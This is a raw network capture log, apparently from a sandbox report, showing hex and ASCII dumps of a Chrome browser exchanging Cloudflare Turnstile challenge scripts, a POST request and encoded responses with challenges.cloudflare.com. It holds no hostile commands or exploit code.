2024-10-25 08:19:48 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f Data Ascii: ey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","human_button_text":"Verify%20you%20are%20human","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_success":"Success%21","turnstile_
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 4b 28 33 32 32 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 36 36 39 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 35 35 33 29 29 2f 38 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 37 36 37 29 29 2f 39 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 34 30 36 29 29 2f 31 30 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 34 35 30 29 29 2f 31 31 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 31 32 34 37 29 29 2f 31 32 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 31 33 36 32 38 38 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 39 38 36 29 5d 2c 65 4f 3d 66 75 6e 63 74 Data Ascii: K(322))/6(parseInt(gK(669))/7)+-parseInt(gK(553))/8+parseInt(gK(1767))/9(-parseInt(gK(1406))/10)+parseInt(gK(450))/11*(parseInt(gK(1247))/12),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,136288),eM=this\|\|self,eN=eM[gL(986)],eO=funct
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 71 6e 67 58 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 41 4e 61 78 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 4e 75 59 6e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 47 79 50 70 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 67 4d 28 31 30 30 36 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 4e 29 7b 72 65 74 75 72 6e 20 67 4e 3d 62 2c 67 4e 28 31 Data Ascii: ction(h,i){return hi},'qngXb':function(h,i){return h&i},'ANaxU':function(h,i){return ih},'NuYng':function(h,i){return h-i},'GyPpK':function(h,i){return h+i}},e=String[gM(1006)],f={'h':function(h){return null==h?'':f.g(h,6,function(i,gN){return gN=b,gN(1
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 30 26 26 28 45 3d 4d 61 74 68 5b 67 4f 28 35 33 38 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 53 74 72 69 6e 67 28 4c 29 29 7d 69 66 28 64 5b 67 4f 28 31 37 31 34 29 5d 28 27 27 2c 44 29 29 7b 69 66 28 4f 62 6a 65 63 74 5b 67 4f 28 37 36 37 29 5d 5b 67 4f 28 31 32 36 33 29 5d 5b 67 4f 28 38 34 37 29 5d 28 43 2c 44 29 29 7b 69 66 28 32 35 36 3e 44 5b 67 4f 28 36 33 31 29 5d 28 30 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 67 4f 28 31 34 35 38 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 67 4f 28 36 33 31 29 5d 28 30 29 2c 78 3d 30 3b 38 3e 78 3b 49 3d 64 5b 67 4f 28 34 35 34 29 5d 28 49 2c 31 29 7c 64 5b 67 4f 28 31 37 32 39 Data Ascii: 0&&(E=Math[gO(538)](2,G),G++),B[M]=F++,String(L))}if(d[gO(1714)]('',D)){if(Object[gO(767)][gO(1263)][gO(847)](C,D)){if(256>D[gO(631)](0)){for(x=0;x<G;I<<=1,J==j-1?(J=0,H[gO(1458)](o(I)),I=0):J++,x++);for(N=D[gO(631)](0),x=0;8>x;I=d[gO(454)](I,1)\|d[gO(1729
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 2c 67 54 29 7b 72 65 74 75 72 6e 20 67 54 3d 67 4d 2c 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 27 27 3d 3d 68 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 67 54 28 31 33 37 35 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 55 29 7b 72 65 74 75 72 6e 20 67 55 3d 67 54 2c 68 5b 67 55 28 36 33 31 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 56 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 67 56 3d 67 4d 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 56 28 35 Data Ascii: function(h,gT){return gT=gM,null==h?'':''==h?null:f.i(h[gT(1375)],32768,function(i,gU){return gU=gT,h[gU(631)](i)})},'i':function(i,j,o,gV,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(gV=gM,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[gV(5
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 30 36 29 5d 28 45 2c 4d 5b 67 56 28 33 35 31 29 5d 28 30 29 29 2c 78 2d 2d 2c 45 3d 4d 2c 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 67 56 28 35 33 38 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 67 4d 28 39 32 38 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 4d 5b 67 4c 28 31 36 39 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 68 36 2c 65 29 7b 65 3d 28 68 36 3d 67 4c 2c 7b 27 6f 4b 51 55 63 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 52 28 63 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 20 65 5b 68 36 28 31 33 30 36 29 5d 28 65 50 2c 65 51 28 63 29 29 7d 7d 2c 65 4d 5b 67 4c 28 34 33 39 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 4c 28 39 30 34 29 5d 3d 66 75 Data Ascii: 06)](E,M[gV(351)](0)),x--,E=M,0==x&&(x=Math[gV(538)](2,C),C++)}}},g={},g[gM(928)]=f.h,g}(),eM[gL(1695)]=function(c,h6,e){e=(h6=gL,{'oKQUc':function(g,h){return g(h)}});try{return eR(c)}catch(g){return e[h6(1306)](eP,eQ(c))}},eM[gL(439)]=![],eM[gL(904)]=fu
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 3b 43 3c 78 5b 68 48 28 31 33 37 35 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 66 35 28 67 2c 68 2c 44 29 2c 6f 5b 68 48 28 31 32 36 38 29 5d 28 42 2c 45 29 3f 28 46 3d 45 3d 3d 3d 27 73 27 26 26 21 67 5b 68 48 28 38 34 38 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 48 28 31 31 30 39 29 5d 3d 3d 3d 6f 5b 68 48 28 37 30 34 29 5d 28 69 2c 44 29 3f 73 28 6f 5b 68 48 28 31 36 33 36 29 5d 28 69 2c 44 29 2c 45 29 3a 46 7c 7c 6f 5b 68 48 28 31 32 37 39 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 6f 5b 68 48 28 31 31 36 32 29 5d 28 73 2c 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 68 49 29 7b 68 49 3d 68 48 2c 4f 62 6a 65 63 74 5b 68 49 28 37 36 37 29 5d 5b 68 49 28 31 32 36 33 29 5d 5b 68 49 28 38 34 37 29 5d Data Ascii: ;C<x[hH(1375)];D=x[C],E=f5(g,h,D),o[hH(1268)](B,E)?(F=E==='s'&&!g[hH(848)](h[D]),o[hH(1109)]===o[hH(704)](i,D)?s(o[hH(1636)](i,D),E):F\|\|o[hH(1279)](s,i+D,h[D])):o[hH(1162)](s,i+D,E),C++);return j;function s(G,H,hI){hI=hH,Object[hI(767)][hI(1263)][hI(847)]
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 70 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 69 70 28 37 34 36 29 5d 3d 69 70 28 31 36 37 33 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 69 70 28 38 39 34 29 5d 5b 69 70 28 31 34 32 31 29 5d 28 32 3c 3c 66 2c 33 32 29 2c 65 4d 5b 69 70 28 37 39 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 71 29 7b 69 71 3d 69 70 2c 65 4d 5b 69 71 28 31 33 35 38 29 5d 26 26 28 65 4d 5b 69 71 28 31 32 33 36 29 5d 5b 69 71 28 39 30 36 29 5d 28 29 2c 65 4d 5b 69 71 28 31 32 33 36 29 5d 5b 69 71 28 31 34 36 38 29 5d 28 29 2c 65 4d 5b 69 71 28 31 36 34 35 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 69 71 28 31 33 35 38 29 5d 5b 69 71 28 31 33 31 32 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 69 71 28 31 33 37 36 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 69 71 28 31 36 36 32 29 5d 5b 69 Data Ascii: p=gL,d={},d[ip(746)]=ip(1673),e=d,f=1,g=1e3*eM[ip(894)][ip(1421)](2<<f,32),eM[ip(798)](function(iq){iq=ip,eM[iq(1358)]&&(eM[iq(1236)][iq(906)](),eM[iq(1236)][iq(1468)](),eM[iq(1645)]=!![],eM[iq(1358)][iq(1312)]({'source':iq(1376),'widgetId':eM[iq(1662)][i
2024-10-25 08:19:48 UTC	1369	IN	Data Raw: 2c 6f 2c 21 21 5b 5d 29 2c 42 5b 69 72 28 31 33 35 36 29 5d 3d 32 35 30 30 2c 42 5b 69 72 28 31 35 32 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 42 5b 69 72 28 33 38 37 29 5d 28 69 72 28 39 31 37 29 2c 69 72 28 31 36 34 32 29 29 2c 44 3d 7b 7d 2c 44 5b 69 72 28 31 34 39 31 29 5d 3d 67 2c 44 5b 69 72 28 31 37 30 39 29 5d 3d 6c 2c 44 2e 63 63 3d 68 2c 44 5b 69 72 28 31 32 39 30 29 5d 3d 6d 2c 44 5b 69 72 28 31 35 35 37 29 5d 3d 78 2c 45 3d 4a 53 4f 4e 5b 69 72 28 38 33 32 29 5d 28 44 29 2c 46 3d 65 4f 5b 69 72 28 39 32 38 29 5d 28 45 29 5b 69 72 28 31 35 31 36 29 5d 28 27 2b 27 2c 6b 5b 69 72 28 38 35 39 29 5d 29 2c 42 5b 69 72 28 35 37 31 29 5d 28 6b 5b 69 72 28 31 37 38 37 29 5d 28 27 76 5f 27 2c 65 4d 5b 69 72 28 31 36 36 32 29 5d 5b 69 72 28 38 Data Ascii: ,o,!![]),B[ir(1356)]=2500,B[ir(1522)]=function(){},B[ir(387)](ir(917),ir(1642)),D={},D[ir(1491)]=g,D[ir(1709)]=l,D.cc=h,D[ir(1290)]=m,D[ir(1557)]=x,E=JSON[ir(832)](D),F=eO[ir(928)](E)[ir(1516)]('+',k[ir(859)]),B[ir(571)](k[ir(1787)]('v_',eM[ir(1662)][ir(8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50125	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:48 UTC	1149	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/288705193:1729840334:sRaDFh_5wkaOFbDBegsq3qEaLLwQYyThGHzWC0p4_to/8d80c89969212cc4/sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3158 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:48 UTC	3158	OUT	Data Raw: 76 5f 38 64 38 30 63 38 39 39 36 39 32 31 32 63 63 34 3d 76 36 54 44 45 44 4f 44 68 44 5a 44 59 44 52 38 57 79 38 58 57 6f 44 61 31 4d 66 35 25 32 62 57 6a 57 73 46 44 79 43 44 57 37 54 57 6c 44 6f 66 64 4a 57 47 44 64 31 66 44 58 2b 6f 54 57 2b 44 70 36 2b 64 33 57 76 38 32 57 61 4a 62 77 44 70 76 43 59 55 35 44 57 4c 69 62 54 57 52 57 4d 43 4c 62 57 67 38 35 57 74 57 72 31 70 6a 54 42 39 2b 70 6b 32 45 59 6b 78 72 57 45 32 70 61 57 72 67 54 56 65 4e 49 75 32 43 73 2b 65 57 54 68 53 65 53 6c 67 37 57 6a 43 57 4a 55 67 54 68 6f 43 54 70 44 57 59 77 35 5a 4b 4b 59 72 65 2b 57 58 64 42 71 56 45 34 57 70 39 70 66 32 74 59 6f 77 42 57 61 43 24 31 30 66 62 57 54 72 36 43 64 32 64 4e 50 66 57 42 55 5a 32 57 35 6e 6c 35 50 32 6b 6a 4e 56 43 77 61 62 57 7a 53 62 Data Ascii: v_8d80c89969212cc4=v6TDEDODhDZDYDR8Wy8XWoDa1Mf5%2bWjWsFDyCDW7TWlDofdJWGDd1fDX+oTW+Dp6+d3Wv82WaJbwDpvCYU5DWLibTWRWMCLbWg85WtWr1pjTB9+pk2EYkxrWE2paWrgTVeNIu2Cs+eWThSeSlg7WjCWJUgThoCTpDWYw5ZKKYre+WXdBqVE4Wp9pf2tYowBWaC$10fbWTr6Cd2dNPfWBUZ2W5nl5P2kjNVCwabWzSb
2024-10-25 08:19:49 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:48 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149852 Connection: close cf-chl-gen: Qyu0RFcbEyj4PRHcEZnkAGitpstc/mnu+Xed6Djhe4Zk1BoWguTsYo5u2DaJwnoy5mnIzuyrZNKxoqHw0D05byjaFmng8dnBf2WI4HiFWF6+AT0gVGGBYsXdoe8Ogy2ettNIVVjgqV4Z2os1omso7zpFJUKIpAIyYAMGgIYIGBObmR3SETIRBq6adBAzSNcYn1NhvvklgaUnpac0OLL+OSWrzw27RoMaeWoDbic8S98AFJov8oUkWQO5UA3EE5dAOLz+noAZIWvBp/oWOoOZZyeCaTZi4UA6oWAEWVWIqnjWrqNIpoGWU6lWxbBG9kzmTGvLA8Xg32cJX/bVMW1RzjDWXQ2Od8TU0l9TePfnN1143NcL8w67hRSnRsE89xss+V3Q8/+Urc5OL24hIUr3RZ1JGjkIPu9VdARHnVqOO3ECW45jbQUr/cJjFmDJ+yR+K+lynOg8HF+gNwQtX7QginGd7dNwYbXv+l5uM8kEl4o4S7w=$lFMhK2Qso4JvBjWv Server: cloudflare CF-RAY: 8d80c8a6afd76c22-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:49 UTC	622	IN	Data Raw: 66 4a 47 33 74 61 2b 7a 6d 4b 43 44 6e 38 4b 62 68 59 36 74 71 61 61 64 6b 4d 65 6c 73 72 48 55 72 37 61 32 75 37 4b 57 6e 39 75 75 30 73 36 66 36 4d 47 31 32 38 6a 47 71 4c 61 6e 37 4d 6a 6d 38 37 33 42 31 4e 54 53 73 2b 71 37 36 76 4b 2b 79 39 6e 65 33 39 59 42 30 64 76 52 33 74 7a 64 31 2b 58 34 36 2b 48 2b 37 65 48 63 33 41 6a 69 34 66 44 55 35 38 30 4d 36 51 66 38 2b 69 50 5a 31 66 73 6a 33 64 6b 41 34 50 50 72 39 41 62 37 2b 51 72 39 46 42 45 50 39 41 76 7a 4a 43 63 73 38 66 73 73 47 41 38 4f 48 6b 48 31 44 52 34 53 45 68 45 69 46 50 31 48 4b 44 73 78 52 54 46 4d 4b 42 34 69 51 45 70 4f 55 6c 4d 58 57 46 4a 4c 47 45 45 5a 47 31 51 68 5a 6c 5a 66 4f 6c 5a 4a 59 6c 64 69 57 6d 56 70 59 6e 4a 43 4d 55 63 7a 63 48 56 4e 58 48 5a 47 62 44 64 59 4e 33 46 Data Ascii: fJG3ta+zmKCDn8KbhY6tqaadkMelsrHUr7a2u7KWn9uu0s6f6MG128jGqLan7Mjm873B1NTSs+q76vK+y9ne39YB0dvR3tzd1+X46+H+7eHc3Aji4fDU580M6Qf8+iPZ1fsj3dkA4PPr9Ab7+Qr9FBEP9AvzJCcs8fssGA8OHkH1DR4SEhEiFP1HKDsxRTFMKB4iQEpOUlMXWFJLGEEZG1QhZlZfOlZJYldiWmVpYnJCMUczcHVNXHZGbDdYN3F
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 4f 4d 69 34 2b 52 64 57 2b 56 63 46 78 74 66 58 79 42 64 31 79 59 61 47 6d 59 6d 49 78 32 68 61 52 74 61 61 43 6c 6a 59 68 30 6e 37 65 4e 75 6e 53 56 72 36 78 33 73 4b 79 4e 6e 34 4b 56 66 35 61 31 69 58 7a 4d 67 70 75 59 68 38 32 74 68 4d 53 6e 79 4c 62 49 6f 36 71 35 71 4e 79 54 72 4b 2b 73 75 4d 44 53 7a 74 6e 6e 34 4d 53 6a 79 62 50 47 34 37 2f 69 37 63 76 45 78 65 2b 7a 36 4c 44 49 38 63 7a 35 39 74 44 50 30 39 2f 52 41 76 33 43 41 38 62 30 35 39 2f 7a 39 2f 37 6f 37 39 33 71 33 67 6e 6c 46 4f 6a 7a 38 78 54 5a 47 51 37 6f 33 51 38 63 44 41 2f 61 2f 66 6f 66 48 65 59 47 43 50 54 71 43 67 77 4a 37 67 34 51 49 2f 49 53 46 44 66 32 46 68 6b 46 2b 68 6f 64 4c 2f 34 65 49 55 4d 44 49 69 59 52 42 79 59 71 4a 51 73 71 4c 6a 38 50 4c 6a 4a 54 45 7a 49 33 4c Data Ascii: OMi4+RdW+VcFxtfXyBd1yYaGmYmIx2haRtaaCljYh0n7eNunSVr6x3sKyNn4KVf5a1iXzMgpuYh82thMSnyLbIo6q5qNyTrK+suMDSztnn4MSjybPG47/i7cvExe+z6LDI8cz59tDP09/RAv3CA8b059/z9/7o793q3gnlFOjz8xTZGQ7o3Q8cDA/a/fofHeYGCPTqCgwJ7g4QI/ISFDf2FhkF+hodL/4eIUMDIiYRByYqJQsqLj8PLjJTEzI3L
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 32 69 4a 4e 58 56 46 6c 32 64 32 4f 69 66 49 56 6c 5a 49 56 37 61 61 57 48 66 6f 39 79 73 59 4b 55 66 37 57 47 6d 49 65 35 69 70 79 50 76 59 36 67 6c 38 47 53 70 4b 4a 2f 76 37 79 30 6e 34 32 34 72 49 4c 50 6a 73 36 4d 78 4a 61 4f 6f 4d 50 51 6c 72 44 48 6d 4e 69 30 74 71 33 63 75 4c 6e 42 34 4c 79 39 32 2b 54 41 77 4f 2f 6f 78 4d 57 39 37 4d 6a 49 30 66 44 4d 79 2f 76 30 30 4e 44 48 37 74 76 37 34 76 4c 62 37 39 62 32 34 50 62 46 2b 75 58 6a 33 76 37 71 41 65 6b 45 41 66 62 51 37 4d 2f 4c 35 64 4d 52 2f 50 4c 37 39 68 33 36 34 2f 4c 2b 33 66 63 49 41 51 6b 61 34 75 55 69 37 75 6a 37 38 41 34 47 4e 44 63 52 4f 43 4d 76 4e 51 66 30 47 66 73 65 46 78 6b 39 4f 67 45 79 2f 53 63 64 46 69 70 4d 48 30 49 73 52 78 73 4a 53 69 67 66 48 79 4d 57 46 6a 4a 4a 45 78 Data Ascii: 2iJNXVFl2d2OifIVlZIV7aaWHfo9ysYKUf7WGmIe5ipyPvY6gl8GSpKJ/v7y0n424rILPjs6MxJaOoMPQlrDHmNi0tq3cuLnB4Ly92+TAwO/oxMW97MjI0fDMy/v00NDH7tv74vLb79b24PbF+uXj3v7qAekEAfbQ7M/L5dMR/PL79h364/L+3fcIAQka4uUi7uj78A4GNDcROCMvNQf0GfseFxk9OgEy/ScdFipMH0IsRxsJSigfHyMWFjJJEx
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 63 6f 52 7a 70 58 61 49 65 36 6c 36 6a 49 4f 74 66 70 43 4f 61 36 75 6f 6f 49 74 35 70 4a 68 75 75 33 71 36 65 4c 42 35 6a 71 36 30 75 73 43 63 6e 63 76 45 6f 4b 4b 5a 79 4b 53 6c 72 63 79 6f 71 63 66 51 72 4b 79 58 79 5a 79 2b 75 2b 43 74 72 4d 75 31 78 62 79 6d 33 74 57 2b 34 36 48 56 7a 4f 2f 62 37 38 57 2f 7a 2b 75 31 35 4d 50 47 74 76 61 31 36 63 58 57 7a 50 50 53 2f 64 2f 38 33 38 54 68 31 77 67 4c 35 41 7a 33 35 51 37 61 42 64 2f 6f 33 2f 30 45 35 68 66 6f 38 66 7a 31 38 65 2f 77 33 4e 76 69 49 78 4c 36 35 4e 30 52 43 53 77 4b 4c 41 48 6d 44 43 37 6e 4c 77 4d 75 41 44 50 74 43 52 73 56 4a 52 30 51 47 7a 7a 33 4d 51 4d 64 49 42 37 34 43 43 55 48 46 53 41 2f 4f 43 31 44 55 56 42 4f 49 46 46 47 52 52 63 32 4f 69 55 62 4f 6a 34 35 48 7a 35 43 55 79 4e Data Ascii: coRzpXaIe6l6jIOtfpCOa6uooIt5pJhuu3q6eLB5jq60usCcncvEoKKZyKSlrcyoqcfQrKyXyZy+u+CtrMu1xbym3tW+46HVzO/b78W/z+u15MPGtva16cXWzPPS/d/838Th1wgL5Az35Q7aBd/o3/0E5hfo8fz18e/w3NviIxL65N0RCSwKLAHmDC7nLwMuADPtCRsVJR0QGzz3MQMdIB74CCUHFSA/OC1DUVBOIFFGRRc2OiUbOj45Hz5CUyN
2024-10-25 08:19:49 UTC	1369	IN	Data Raw: 34 4b 6e 6c 34 61 71 67 5a 43 4e 6b 35 47 4a 73 36 61 54 64 37 6c 79 6d 62 52 38 71 62 71 6a 6b 5a 65 46 75 4a 6c 2b 67 72 72 4b 6f 63 65 6f 6a 36 32 6d 6d 70 2b 67 69 36 44 54 77 37 43 53 72 62 4c 57 30 5a 58 42 74 4b 36 63 34 37 6e 5a 77 35 2b 6b 31 73 4b 37 70 36 37 6d 36 63 66 4e 33 62 43 73 37 73 62 33 7a 63 76 4d 75 63 6e 2b 36 4c 6d 2f 38 4e 66 33 37 2b 51 43 31 4f 6e 37 2f 66 54 72 43 38 6a 70 41 74 4c 54 38 67 48 68 39 4f 4d 61 30 50 6e 5a 36 42 37 38 43 76 51 69 41 51 2f 34 4a 67 55 56 2f 43 6f 4a 47 67 45 75 44 52 38 46 4d 68 45 6b 43 54 59 56 4b 51 30 36 47 53 34 52 50 68 30 7a 41 68 55 56 45 30 62 38 4a 78 59 33 52 53 49 32 4f 53 38 36 4a 54 45 62 50 55 31 58 49 69 77 57 57 79 59 30 47 6c 38 71 4c 42 35 6a 4c 6a 51 69 5a 7a 45 6e 53 55 59 2b Data Ascii: 4Knl4aqgZCNk5GJs6aTd7lymbR8qbqjkZeFuJl+grrKoceoj62mmp+gi6DTw7CSrbLW0ZXBtK6c47nZw5+k1sK7p67m6cfN3bCs7sb3zcvMucn+6Lm/8Nf37+QC1On7/fTrC8jpAtLT8gHh9OMa0PnZ6B78CvQiAQ/4JgUV/CoJGgEuDR8FMhEkCTYVKQ06GS4RPh0zAhUVE0b8JxY3RSI2OS86JTEbPU1XIiwWWyY0Gl8qLB5jLjQiZzEnSUY+
